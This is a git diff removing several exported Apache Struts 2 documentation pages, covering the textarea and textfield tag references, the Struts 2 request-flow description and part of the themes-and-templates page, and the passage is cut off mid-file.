diff --git a/content/docs/textarea.html b/content/docs/textarea.html
deleted file mode 100644
index ce5e838..0000000
--- a/content/docs/textarea.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>textarea</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="textarea.html">textarea</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">textarea</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13926">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13926">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13926">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13926">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13926">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13926">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="textarea-Description">Description</h2>
-
-<p></p><p>Render HTML textarea tag.</p>
-
-<h2 id="textarea-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="textarea-Example">Example</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:textarea label=&quot;Comments&quot; name=&quot;comments&quot; cols=&quot;30&quot; rows=&quot;8&quot;/&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/textfield.html b/content/docs/textfield.html
deleted file mode 100644
index eaa2488..0000000
--- a/content/docs/textfield.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>textfield</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="textfield.html">textfield</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">textfield</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13912">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13912">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13912">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div><h2 id="textfield-Description">Description</h2><p></p><p></p><p>Re [...]
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-In this example, a text control for the &quot;user&quot; property is rendered. The label is also retrieved from a ResourceBundle via the key attribute.
-]]></script>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:textfield key=&quot;user&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/the-struts-2-request-flow.data/Struts2-Architecture.png b/content/docs/the-struts-2-request-flow.data/Struts2-Architecture.png
deleted file mode 100644
index dc4d5dd..0000000
Binary files a/content/docs/the-struts-2-request-flow.data/Struts2-Architecture.png and /dev/null differ
diff --git a/content/docs/the-struts-2-request-flow.html b/content/docs/the-struts-2-request-flow.html
deleted file mode 100644
index cff4a89..0000000
--- a/content/docs/the-struts-2-request-flow.html
+++ /dev/null
@@ -1,148 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>The Struts 2 Request Flow</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="user-guide.html">User Guide</a>&nbsp;&gt;&nbsp;<a href="the-struts-2-request-flow.html">The Struts 2 Request Flow</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">The Struts 2 Request Flow</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45185">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45185">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45185">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="the-struts-2-request-flow.data/Struts2-Architecture.png"></span></p>
-
-<p>In the diagram, an initial request goes to the Servlet container (such as Jetty or Resin) which is passed through a standard filter chain. The chain includes the (optional) <strong>ActionContextCleanUp</strong> filter, which is useful when integrating technologies such as <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33343">SiteMesh Plugin</a>. Next, the required <strong>FilterDispatcher</strong> is called, which in turn consults the <a shape=" [...]
-
-<p>If the ActionMapper determines that an Action should be invoked, the FilterDispatcher delegates control to the <strong>ActionProxy</strong>. The ActionProxy consults the framework <a shape="rect" href="configuration-files.html">Configuration Files</a> manager (initialized from the <a shape="rect" href="strutsxml.html">struts.xml</a> file). Next, the ActionProxy creates an <strong>ActionInvocation</strong>, which is responsible for the command pattern implementation. This includes invo [...]
-
-<p>Once the Action returns, the ActionInvocation is responsible for looking up the proper <strong>result</strong> associated with the <strong>Action result code</strong> mapped in <code>struts.xml</code>. The result is then executed, which often (but not always, as is the case for <a shape="rect" href="action-chaining.html">Action Chaining</a>) involves a template written in <a shape="rect" href="jsp.html">JSP</a> or <a shape="rect" href="using-freemarker-templates.html">FreeMarker</a> t [...]
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>All objects in this architecture (Actions, <a shape="rect" href="result-types.html">Results</a>, <a shape="rect" href="interceptors.html">Interceptors</a>, and so forth) are created by an <a shape="rect" href="objectfactory.html">ObjectFactory</a>. This ObjectFactor [...]
-
-<p>Interceptors are executed again (in reverse order, calling the <em>after</em> clause). Finally, the response returns through the filters configured in the <code>web.xml</code>. If the ActionContextCleanUp filter is present, the FilterDispatcher will <em>not</em> clean up the ThreadLocal <strong>ActionContext</strong>. If the ActionContextCleanUp filter is not present, the FilterDispatcher will cleanup all ThreadLocals.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/themes-and-templates.html b/content/docs/themes-and-templates.html
deleted file mode 100644
index 2be1426..0000000
--- a/content/docs/themes-and-templates.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Themes and Templates</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Themes and Templates</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14247">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14247">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14247">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The notions of "themes" and "templates" are at the core of the HTML <a shape="rect" href="struts-tags.html">Struts Tags</a> provided by the framework.</p>
-
-<h2 id="ThemesandTemplates-Definitions">Definitions</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> tag </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> A small piece of code executed from within <a shape="rect" href="jsp.html">JSP</a>, <a shape="rect" href="freemarker.html">FreeMarker</a>, or <a shape="rect" href="velocity.html">Velocity</a>. </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> template </p></th><td colspan="1" rowspan=" [...]
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See <a shape="rect" href="struts-tags.html">Struts Tags</a> for more about the HTML and other tags provided by the framework.</p>
-
-<h2 id="ThemesandTemplates-TemplateBasics">Template Basics</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="template-loading.html">Template Loading</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> How templates are loaded </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="selecting-template-directory.html">Selecting Template Directory</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd">< [...]
-
-
-<h2 id="ThemesandTemplates-MoreAboutThemes">More About Themes</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="simple-theme.html">simple theme</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> A minimal theme with no "bells and whistles" </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="xhtml-theme.html">xhtml theme</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The default theme t [...]
-
-
-<h2 id="ThemesandTemplates-Next:">Next: <a shape="rect" href="form-tags.html">Form Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
